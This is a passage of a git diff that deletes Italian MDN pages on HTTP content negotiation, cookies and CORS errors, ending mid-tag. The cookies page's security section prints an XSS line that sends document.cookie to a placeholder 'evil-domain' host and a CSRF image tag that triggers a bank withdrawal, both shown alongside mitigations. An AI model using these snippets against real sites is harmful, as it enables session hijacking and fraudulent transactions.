l’Europa occidentale.</p> - -<p>Essendo UTF-8 molto diffuso e il metodo più usato per la codifica dei caratteri, <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy"> e per garantire una maggiore privacy attraverso meno</a> <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">configuration-based entropy </a>, il browser omette <code>Accept-Charset</code> l’intestazione: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 e Chrome 27 hanno abbandonato questa intestazione.</p> - -<h3 id="L’intestazione_Accept-CH-Lifetime">L’intestazione Accept-CH-Lifetime</h3> - -<div class="note"> -<p>Questa è parte di una tecnologia <strong> sperimentale</strong> chiamata <em>Client Hints</em>. É supportata da Chrome 61 in poi.</p> -</div> - -<p>L’intestazione {{HTTPHeader("Accept-CH-Lifetime")}} è usata con il valore <code>Device-Memory</code> dell’intestazione <code>Accept-CH</code> e indica il tempo che il dispositivo dovrebbe impiegare per condividere una certa quantità di memoria del dispositivo con il server. Il valore è in millisecondi ed è opzionale.</p> - -<h3 id="L’intestazione_Accept-Encoding">L’intestazione Accept-Encoding</h3> - -<p>L’intestazione {{HTTPHeader("Accept-Encoding")}} definisce il metodo di compressione utilizzato. Il valore è una lista di fattori q (es.: <code>br, gzip;q=0.8</code>) che indica la priorità del valore di codifica. Il valore di default di <code>identità</code> è quello a proprità più bassa (a meno che non sia specificato diversamente).</p> - -<p>La comprensione dei messaggi http è uno dei modi migliori per migliorare le prestazioni di un sito web, esso diminuisce la dimensione dei dati trasmessi permettendo un uso migliore della larghezza di banda; I browser inviano sempre questa intestazone e il server deve essere configurato per addatarsi a tale intestazione ed usare la compressione.</p> - -<h3 id="L_intestazione_Accept-Language">L' intestazione Accept-Language</h3> - -<p>L'intestazione Accept-Language L'intestazone {{HTTPHeader("Accept-Language")}} indica il linguaggio predefinito dell'utente. E' una lista di valori con fattori di qualità(es.:"de, en;q=0.7"). Un valore di default è spesso deciso a seconda del linguaggio dell'interfaccia grafica dell'interprete, ma la maggior parte dei browser permette di impostare lingue differenti.</p> - -<p>A causa dell'aumento dell'uso dei <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">configuration-based entropy</a> si può usare un valore modificato per identificare l'utente, non è consigliato cambiarlo e un sito web non può fidarsi di questo valore per interpretare la richiesta dell'utente. I Site designers non devono essere troppo scrupolosi nell'usare un interprete attraverso questa intestazione dato che risulterebbe scomodo all'utente:</p> - -<ul> - <li>Devono sempre fornire un modo per ovviare al linguaggio scelto dal server, ad esempio fornendo una scelta di lingue nel sito. La maggiorparte degli interpreti fornisce un valore di default dell'intestazione <code>Accept-Language</code> adottata in base alla lingua dell' utente che spesso non la cambia, perchè non sa come farlo, o perchè non può, come nel caso di un Internet cafè.</li> - <li>Una volta che l'utente ha cambiato la lingua scelta dal server il sito non deve più identificare la lingua e deve usare la lingua esplicitamente scelta. In altre parole, solo la pagina iniziale del sito deve identificare la lingua adatta usando questa intestazione.</li> -</ul> - -<h3 id="Lintestazione_User-Agent">L'intestazione User-Agent </h3> - -<div class="note"> -<p>Anche se esistono usi appropriati di questa intastazione per selezionare contenuto, <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">è considerata una cattiva abitudine</a> affidarsi ad esso per definire quali funzioni sono supportate dall' interprete.</p> -</div> - -<p>L'intestazione {{HTTPHeader("User-Agent")}} identifica il browser che invia la richiesta. Questa stringa può contenere una lista di <em>product token</em> e <em>commenti</em> separati da spazi.</p> - -<p>Un <em>product token</em> è un nome seguito da '<code>/</code>' e un numero di versione, come <code>Firefox/4.0.1</code>. Ci possono essere tanti <em>product token</em> quanti ne vuole l'interprete. Un <em>comment </em>è una stringa qualsiasi delimitata da parentesi. Ovviamente le parentesi non possono essere usate nella stringa. Il formato del commento non è definito da nessuno standard, ma molti browser ci inseriscono molti token, separati da '<code>;</code>'.</p> - -<h3 id="Lintestazione_di_risposta_Vary">L'intestazione di risposta Vary </h3> - -<p>In contrasto alle precedenti intestazioni <code>Accept-*</code> che sono inviate dal client, l'intestazione {{HTTPHeader("Vary")}} è inviata dal web server come risposta. Indica la lista delle intestazioni usate dal server durante la fase di negoziazione gestita dal server. L'intestazione è necessaria per informare la cache dei criteri decisionali in modo da replicarli, permettendo alla cache di essere funzionale e prevenendo l'invio di servizi errati all'utente.</p> - -<p>Il valore '<code>*</code>' esprime che la fase di negoziazione gestita dal server usa anche informazioni non trasmesse in un'intestazione per scegliere il contenuto appropriato.</p> - -<p>L'intestazione <code>Vary</code> è stata aggiunta nella versione HTTP 1.1 ed è necessaria per permettere alle cache di funzionare in modo adeguato. Una cache, per funzionare con la fase di negoziazione gestita dal server necessita di sapere i criteri usati dal server per scegliere il contenuto trasmesso. In questo modo lòa cache può replicare l'argoritmo in modo da fornire contenuti adeguati senza altre richieste al server. Ovviamente il carattere '<code>*</code>' previene la memorizzazione, dato che la cache non conosce che algoritmi ci stanno dietro.</p> - -<h2 id="Negoziazione_Agent-driven">Negoziazione Agent-driven</h2> - -<p>La negoziazione Server-driven presenta alcuni svantaggi: non è molto scalabile. C'è un'intestazione per ogni funzione/caratteristica usate nella negoziazione. Se vuoi usare risoluzione dello schermo deve essere creata una nuova intestazione HTTP. L'invio delle intestazioni deve essere fatto ad ogni richiest. Questo portebrebbe ad una diminuzione delle performance in caso di molte intestazioni. Più intestazioni specifiche vengono inviate, più il complesso risulta ambiguo, portando a problemi di privacy.</p> - -<p>Sin dagli albori di HTTP, il protocollo permette un altro tipo di negoziazione: <em>agent-driven negotiation</em> o <em>reactive negotiation</em>. In questa negoziazione, quando si presenta una richiesta ambigua, il server risponde con una pagina contenente dei link alle risorse alternative disponibili. All'utente vengono presentate le risorse e sceglie quale usare.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13795/HTTPNego3.png"></p> - -<p>Sfortunatamente lo standard HTTP non specifica il formato della pagina, permettendo di scegliere tra le risorse disponobili non permettendo una facile automatizzazione del processo. Inoltre si ricade nella negoziazione <em>server-driven</em>, questo metodo è quasi sempre usato insieme allo scripting, specialmente utilizzando JavaScript per i redirect: dopo aver controllato i criteri di memorizzazione, il codice esegue il redirect. Un secondo problema è che è necessaria una richiesta per ottenere la risorsa, compromettendo la disponibilità della risorsa all'utente.</p> diff --git a/files/it/web/http/cookies/index.html b/files/it/web/http/cookies/index.html deleted file mode 100644 index 6514b2fef7..0000000000 --- a/files/it/web/http/cookies/index.html +++ /dev/null @@ -1,193 +0,0 @@ ---- -title: HTTP cookies -slug: Web/HTTP/Cookies -tags: - - HTTP - - cookie - - httponly - - samesite - - secure -translation_of: Web/HTTP/Cookies ---- -<div>{{HTTPSidebar}}</div> - -<p class="summary"><span class="seoSummary">Un cookie HTTP (web cookie, cookie del browser) è un piccolo pezzo di dati che il server invia al browser dell'utente. Il browser può memorizzarlo e inviarlo allo stesso server nelle richieste successive. Tipicamente è utilizzato per stabilire se due richieste provengono dallo stesso browser, mantenendo ad esempio un utente loggato. Fornisce quindi informazioni <em>stateful</em> sopra al protocollo</span> <a href="/en-US/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">stateless</a> HTTP.</p> - -<p>I cookie sono principalmente usati per tre funzionalità:</p> - -<dl> - <dt>Gestione della sessione</dt> - <dd>Login, carrello della spesa, punteggio dei giochi o qualsiasi altra cosa che il server deve ricordare</dd> - <dt>Personalizzazione</dt> - <dd>Preferenze dell'utente, temi e altre impostazioni</dd> - <dt>Tracciamento</dt> - <dd>Registrare e analizzare il comportamento dell'utente</dd> -</dl> - -<p>Una volta i cookie venivano utilizzati come storage client-side. Anche se questo era concesso quando i cookie erano l'unico mezzo per salvare dati nel client, al giorno d'oggi è consigliato utilizzare le moderne API di salvataggio. I cookie sono inviati ad ogni richiesta, riducendo quindi le performance (specialmente nel caso di connessioni mobile). Le API di salvataggio moderne sono le cosidette <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> e <code>sessionStorage</code>) e <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p> - -<div class="note"> -<p>Per visualizzare i cookie salvati (e altri dati salvati che la pagina web può utilizzare) puoi abilitare lo <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector</a> nei Developer Tools e selezionare Cookie dall'albero dello storage.</p> -</div> - -<h2 id="Creare_i_cookie">Creare i cookie</h2> - -<p>Quando una richiesta HTTP viene ricevuta, il server può rispondere con l'header HTTP {{HTTPHeader("Set-Cookie")}}. Il cookie viene solitamente memorizzato dal browser e inviato in ogni successiva richiesta allo stesso server tramite l'header HTTP {{HTTPHeader("Cookie")}}. Una "data di scadenza" o durata può essere specificata, dopo la quale il cookie non viene più inviato. In aggiunta, restrizioni ad uno specifico dominio o percorso possono essere impostate, limitando le richieste nelle quali il cookie viene inviato.</p> - -<h3 id="Gli_header_Set-Cookie_e_Cookie">Gli header <code>Set-Cookie</code> e <code>Cookie</code></h3> - -<p>L'header di risposta HTTP {{HTTPHeader("Set-Cookie")}} invia i cookie dal server all'utente. Un semplice cookie viene impostato come segue:</p> - -<pre class="syntaxbox">Set-Cookie: <cookie-name>=<cookie-value></pre> - -<p>Questo header inviato dal server viene uilizzato per salvare un cookie nel client.</p> - -<div class="note"><strong>Nota:</strong> Come usare l'header <code>Set-Cookie</code> in varie applicazioni server-side: - -<ul> - <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li> - <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li> - <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li> - <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li> -</ul> -</div> - -<pre>HTTP/1.0 200 OK -Content-type: text/html -Set-Cookie: yummy_cookie=choco -Set-Cookie: tasty_cookie=strawberry - -[page content]</pre> - -<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Ora, in ogni nuova richiesta al server, il browser invierà indietro, utilizzando l'header {{HTTPHeader("Cookie")}}, tutti i cookie precedentemente ricevuti dal server.</p> - -<pre>GET /sample_page.html HTTP/1.1 -Host: www.example.org -Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre> - -<h3 id="Cookie_di_sessione">Cookie di sessione</h3> - -<p>Il cookie creato sopra è un <em>cookie di sessione</em>: è cancellato quando il client termina, perchè non è stata specificata nessuna direttiva <code>Expires</code> o <code>Max-Age</code>. Tuttavia il browser potrebbe usare il recupero di sessione e rendere il cookie di sessione permanente, come se il client non si disconnettesse.</p> - -<h3 id="Cookie_permanenti">Cookie permanenti</h3> - -<p>Invece di scadere quando il client termina, i <em>cookie permanenti </em> scadono in un periodo specifico (<code>Expires</code>) o dopo uno specifico intervallo di tempo (<code>Max-Age</code>).</p> - -<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> - -<div class="note"> -<p><strong>Nota</strong>: Quando viene impostata una data di scadenza, l'ora e la data impostate sono relative al client su cui è impostato il cookie, non al server.</p> -</div> - -<h3 id="Cookie_Secure_e_HttpOnly">Cookie <code>Secure</code> e <code>HttpOnly</code></h3> - -<p>Un cookie sicuro viene inviato al server solo con una richiesta cifrata con il protocollo HTTPS. Anche con la direttiva <code>Secure</code>, informazioni sensibili non dovrebbero <em>mai </em>essere memorizzate nei cookie, siccome sono intrinsecamente non sicuri e questo flag non offre una protezione robusta. sensitive information should <em>never</em> be stored in cookies, as they are inherently insecure and this flag can't offer real protection. A partire da Chrome 52 e Firefox 52, siti non sicuri (<code>http:</code>) non possono impostare cookie con la direttiva <code>Secure</code>.</p> - -<p>Per evitare attacchi di tipo cross-site scripting ({{Glossary("XSS")}}), i cookie impostati con la direttiva <code>HttpOnly</code> sono inaccessibili all'API {{domxref("Document.cookie")}} di JavaScript; vengono solamente inviati al server. Ad esempio, i cookie di sessione non hanno necessità di essere acceduti da JavaScript e dovrebbero per questo essere impostati con il flag <code>HttpOnly</code>.</p> - -<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre> - -<h3 id="Scope_dei_cookie">Scope dei cookie</h3> - -<p>Le direttive <code>Domain</code> e <code>Path</code> definiscono lo scope del cookie: a quale URL il cookie dovrebbe essere inviato.</p> - -<p><code>Domain</code> specifica i domini consentiti a ricevere il cookie. Se non specificato, il valore di default corrisponde alla posizione corrente del documento, <strong>esclusi i sottodomini</strong>. Se <code>Domain</code> è specificato, i sottodomini sono sempre inclusi.</p> - -<p>Ad esempio, se viene impostato <code>Domain=mozilla.org</code> , il cookie viene incluso in tutti i sottodomini come <code>developer.mozilla.org</code>.</p> - -<p><code>Path</code> indica un percorso URL che deve esistere nell'URL richiesto al fine di inviare il cookie tramite l'header <code>Cookie</code>. Il carattere %x2F ("/") è considerato un separatore di directory e anche le sottodirectory avranno un match.</p> - -<p>Ad esempio, se viene impostato <code>Path=/docs</code>, questi pattern avranno una corrispondenza:</p> - -<ul> - <li><code>/docs</code></li> - <li><code>/docs/Web/</code></li> - <li><code>/docs/Web/HTTP</code></li> -</ul> - -<h3 id="Cookie_SameSite_experimental_inline">Cookie <code>SameSite</code> {{experimental_inline}}</h3> - -<p>I cookie <code>SameSite</code> richiedono ad un browser che il cookie non venga inviato attraverso una richiesta cross-site, che può proteggere da attacchi di tipo cross-site request forgery ({{Glossary("CSRF")}}). I cookie <code>SameSite</code> sono ancora in fase di sperimentazione e non ancora supportati da tutti i browser.</p> - -<h3 id="JavaScript_access_using_Document.cookie">JavaScript access using <code>Document.cookie</code></h3> - -<p>I nuovi cookie possono anche essere creati tramite JavaScript usando la proprietà {{domxref ("Document.cookie")}}, e se il flag HttpOnly non è impostato, i cookie esistenti sono accessibili anche da JavaScript.</p> - -<pre class="brush: js">document.cookie = "yummy_cookie=choco"; -document.cookie = "tasty_cookie=strawberry"; -console.log(document.cookie); -// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre> - -<p>Per favore considera i problemi di sicurezza mostrati nella sezione <a href="/en-US/docs/Web/HTTP/Cookies#Security">Security</a> qua sotto. I cookie disponibili al JavaScript possono essere rubati attraverso {{Glossary ("XSS")}}.</p> - -<h2 id="Sicurezza">Sicurezza</h2> - -<div class="note"> -<p>Le informazioni riservate o sensibili non dovrebbero mai essere archiviate o trasmesse tramite i cookie HTTP, poiché l'intero meccanismo è intrinsecamente insicuro.</p> -</div> - -<h3 id="Furto_di_sessione_e_XSS">Furto di sessione e XSS</h3> - -<p>I cookie vengono spesso utilizzati nelle applicazioni web per identificare un utente e la relativa sessione autenticata, pertanto il furto di un cookie può comportare il "dirottamento" della sessione dell'utente autenticato. I metodi più comuni per rubare i cookie includono l'ingegneria sociale o l'utilizzo di una vulnerabilità {{Glossary ("XSS")}} nell'applicazione.</p> - -<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre> - -<p>L'attributo <code>HttpOnly</code> dei cookie può aiutare a mitigare questo attacco prevenendo l'accesso al cookie attraverso il JavaScript.</p> - -<h3 id="Cross-site_request_forgery_(CSRF)">Cross-site request forgery (CSRF)</h3> - -<p><a href="https://it.wikipedia.org/wiki/Cookie#Cross-site_request_forgery">Wikipedia</a> menziona un buon esempio per {{Glossary("CSRF")}}. In questa situazione, qualcuno include un'immagine che non è veramente un'immagine (per esempio in una chat o forum non filtrato), ma che in realtà è una richiesta di prelievo di contante al server della banca:</p> - -<pre class="brush: html"><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> - -<p>Ora, se l'utente ha effettuato l'accesso al conto bancario e i cookie sono validi (e non ci sono altre convalide), il trasferimento di denaro avverrà non appena il codice HTML che contiene questa immagine verrà interpretato. Esistono alcune tecniche utilizzate per impedire che ciò accada:</p> - -<ul> - <li>Come per {{Glossary("XSS")}}, filtrare l'input è importante.</li> - <li>Ci dovrebbe sempre essere una richiesta di conferma per qualsiasi azione sensibile.</li> - <li>I cookie che sono utilizzati per azioni sensibili dovrebbero avere durata ridotta.</li> - <li>Per altri suggerimenti, visitare <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>.</li> -</ul> - -<h2 id="Tracciamento_e_privacy">Tracciamento e privacy</h2> - -<h3 id="Cookie_di_terze_parti">Cookie di terze parti</h3> - -<p>I cookie hanno un dominio ad essi associato. Se questo dominio è uguale al dominio della pagina in cui ci si trova, si dice che i cookie siano cookie <em>first-party</em>. Se il dominio è diverso, si dice che sia un cookie di terze parti. Mentre i cookie proprietari (<em>first-party)</em> vengono inviati solo al server che li imposta, una pagina web può contenere immagini o altri componenti memorizzati su server in altri domini (come i banner pubblicitari). I cookie inviati tramite questi componenti di terze parti sono denominati cookie di terze parti e vengono principalmente utilizzati per la pubblicità e il monitoraggio sul web. Vedi ad esempio i <a href="https://www.google.com/policies/technologies/types/">tipi di cookie utilizzati da Google</a>. La maggior parte dei browser consente l'utlizzo dei cookie di terze parti di default, ma sono disponibili componenti aggiuntivi per bloccarli (ad esempio, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> di <a href="https://www.eff.org/">EFF</a>).</p> - -<p>Se non stai divulgando informazioni riguardanti i cookie di terze parti, la fiducia dei consumatori potrebbe essere danneggiata se ne viene scoperto l'utilizzo. Una chiara informativa (come in una politica sulla privacy) tende ad eliminare qualsiasi effetto negativo. Alcuni paesi hanno anche una legislazione sui cookie. Vedi ad esempio la <a href="https://wikimediafoundation.org/wiki/Cookie_statement">dichiarazione sui cookie</a> di Wikimedia Foundation.</p> - -<h3 id="Do-Not-Track">Do-Not-Track</h3> - -<p>Sebbene non ci siano requisiti legali o tecnologici per il suo utilizzo, l'header HTTP {{HTTPHeader ("DNT")}} può essere utilizzato per segnalare che un'applicazione web deve disabilitare sia il suo tracciamento che il tracciamento cross-site del singolo utente. Vedi l'header {{HTTPHeader ("DNT")}} per maggiori informazioni.</p> - -<h3 id="Direttiva_UE_riguardante_i_cookie">Direttiva UE riguardante i cookie</h3> - -<p>I requisiti per i cookie in tutta l'UE sono definiti nella direttiva 2009/136/EC del Parlamento europeo e sono entrate in vigore il 25 Maggio 2011. Una direttiva non è una legge di per sé, ma un requisito per gli stati membri dell'UE di mettere in atto leggi che soddisfino i requisiti della direttiva. Le leggi effettive possono differire da paese a paese.</p> - -<p>In breve la direttiva UE dice che prima che qualcuno possa memorizzare o recuperare qualsiasi informazione da un computer, dispositivo mobile o altro dispositivo, l'utente deve dare esplicito consenso al farlo. Molti siti web hanno aggiunto banner (Cookie banner) per informare gli utenti riguardo l'utilizzo dei cookie.</p> - -<p>Per altro, leggi <a href="https://it.wikipedia.org/wiki/Cookie#La_nuova_legislazione_europea:_il_GDPR">questa sezione di Wikipedia </a>e consulta le leggi locali per le ultime e più accurate informazioni.</p> - -<h3 id="Zombie_cookies_and_Evercookies">Zombie cookies and Evercookies</h3> - -<p>Un approccio più radicale ai cookie sono i cookie zombie e gli evercookie, che vengono ricreati appena cancellati e sono volutamente difficili da cancellare. Sfruttano le <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>, Flash Local Shared Objects e altre tecniche per ricreare se stessi quando l'assanza del cookie viene rilevata.</p> - -<ul> - <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li> - <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li> -</ul> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li>{{HTTPHeader("Set-Cookie")}}</li> - <li>{{HTTPHeader("Cookie")}}</li> - <li>{{domxref("Document.cookie")}}</li> - <li>{{domxref("Navigator.cookieEnabled")}}</li> - <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li> - <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li> - <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li> - <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li> - <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li> -</ul> diff --git a/files/it/web/http/cors/errors/corsdidnotsucceed/index.html b/files/it/web/http/cors/errors/corsdidnotsucceed/index.html deleted file mode 100644 index 649cd4967e..0000000000 --- a/files/it/web/http/cors/errors/corsdidnotsucceed/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: 'Motivo : Richiesta CORS Fallita' -slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed -tags: - - CORS - - CORSDidNotSucceed - - Cross-Origin - - Errore - - HTTP - - HTTPS - - Messaggi - - Motivazioni - - Risoluzione Problemi - - Sicurezza - - console -translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed ---- -<div>{{HTTPSidebar}}</div> - -<h2 id="Motivazione">Motivazione</h2> - -<pre class="syntaxbox">Motivo : Richiesta CORS Fallita</pre> - -<h2 id="Cosa_è_andato_storto">Cosa è andato storto?</h2> - -<p>La richiesta HTTP che utilizza CORS non è andata a buon fine.</p> - -<p>La connessione HTTP ha fallito per problemi di rete o a livello di protocollo. L'errore non è direttamente imputabile a CORS, ma è un errore di rete di qualche tipo.</p> - -<h2 id="Vedi_Anche">Vedi Anche</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS: errori</a></li> - <li>Glossario: {{Glossary("CORS")}}</li> - <li><a href="/en-US/docs/Web/HTTP/CORS">CORS: introduzione</a></li> -</ul> diff --git a/files/it/web/http/cors/errors/corsmissingalloworigin/index.html b/files/it/web/http/cors/errors/corsmissingalloworigin/index.html deleted file mode 100644 index aefad83858..0000000000 --- a/files/it/web/http/cors/errors/corsmissingalloworigin/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: 'Errore: CORS header ''Access-Control-Allow-Origin'' missing' -slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin -translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin ---- -<h2 id="Motivo">Motivo</h2> - -<pre class="syntaxbox">Avviso: CORS header 'Access-Control-Allow-Origin' missing</pre> - -<h2 id="Cos'è_andato_storto">Cos'è andato storto?</h2> - -<p>La risposta alla richiesta {{Glossary("CORS")}} manca dell'intestazione {{HTTPHeader("Access-Control-Allow-Origin")}}, usata per determinare se è possibile accedere alla risorsa partendo dal contenuto che opera nell'origine corrente.</p> - -<p>Se il server è sotto il tuo controllo aggiungi l'origine del sito richiedente alla raccolta dei domini che hanno l'accesso all'intestazione <code>Access-Control-Allow-Origin</code>.</p> - -<p>Ad esempio, per permettere al sito https://amazing.site di accedere alla risorsa che fa uso di CORS, l'intestazione dovrebbe essere la seguente:</p> - -<pre>Access-Control-Allow-Origin: https://amazing.site</pre> - -<p>Puoi anche configurare un sito in modo che permetta l'accesso ad ogni altro sito usando il carattere jolly <code>"*"</code>. Da usare preferibilmente solo per API pubbliche. API private non dovrebbero far uso di <code>"*"</code> e dovrebbero avere un dominio specifico o un insieme di domini. In più il carattere jolly funziona solo per le richieste fatte con l'attributo {{htmlattrxref("crossorigin")}} impostato come <code>"anonymous"</code>.</p> - -<pre>Access-Control-Allow-Origin: *</pre> - -<div class="warning"> -<p><strong>Attenzione:</strong> usare <code>"*"</code> per permettere a tutti i siti di accedere ad API private è una pessima idea per ragioni che dovrebbero essere ovvie.</p> -</div> - -<p> </p> - -<p>Ad esempio, con Apache, aggiungi una riga come la seguente alla configurazione del server (all'interno della sezione <code><Directory></code>, <code><Location></code>, <code><Files></code> o <code><VirtualHost></code>). Tipicamente la configurazione si trova in un file <code>.conf</code> (comunemente <code>httpd.conf</code> e <code>apache.conf</code>), o in un file <code>.htaccess</code>.</p> - -<pre>Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre> - -<p>Per Nginx, il comando per attivare l'intestazione è il seguente:</p> - -<pre>add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre> - -<p> </p> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Errori CORS</a></li> - <li>Glossario: {{Glossary("CORS")}}</li> - <li><a href="/en-US/docs/Web/HTTP/CORS">Introduzione a CORS</a></li> -</ul> diff --git a/files/it/web/http/cors/errors/index.html b/files/it/web/http/cors/errors/index.html deleted file mode 100644 index d1dd12dc75..0000000000 --- a/files/it/web/http/cors/errors/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: CORS errors -slug: Web/HTTP/CORS/Errors -tags: - - CORS - - Errors - - HTTP - - HTTPS - - Messages - - NeedsTranslation - - Same-origin - - Security - - TopicStub - - console - - troubleshooting -translation_of: Web/HTTP/CORS/Errors ---- -<div>{{HTTPSidebar}}</div> - -<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p> - -<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p> - -<h2 id="Identifying_the_issue">Identifying the issue</h2> - -<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p> - -<ol> - <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li> - <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li> -</ol> - -<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p> - -<p>The text of the error message will be something similar to the following:</p> - -<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows -reading the remote resource at <em>https://some-url-here</em>. (<em>Reason: -additional information here</em>).</span></span></span></pre> - -<div class="note"> -<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p> -</div> - -<h2 id="CORS_error_messages">CORS error messages</h2> - -<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong. The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li> -</ul> - -<h2 id="See_also">See also</h2> - -<ul> - <li>Glossary: {{Glossary("CORS")}}</li> - <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> - <li><a 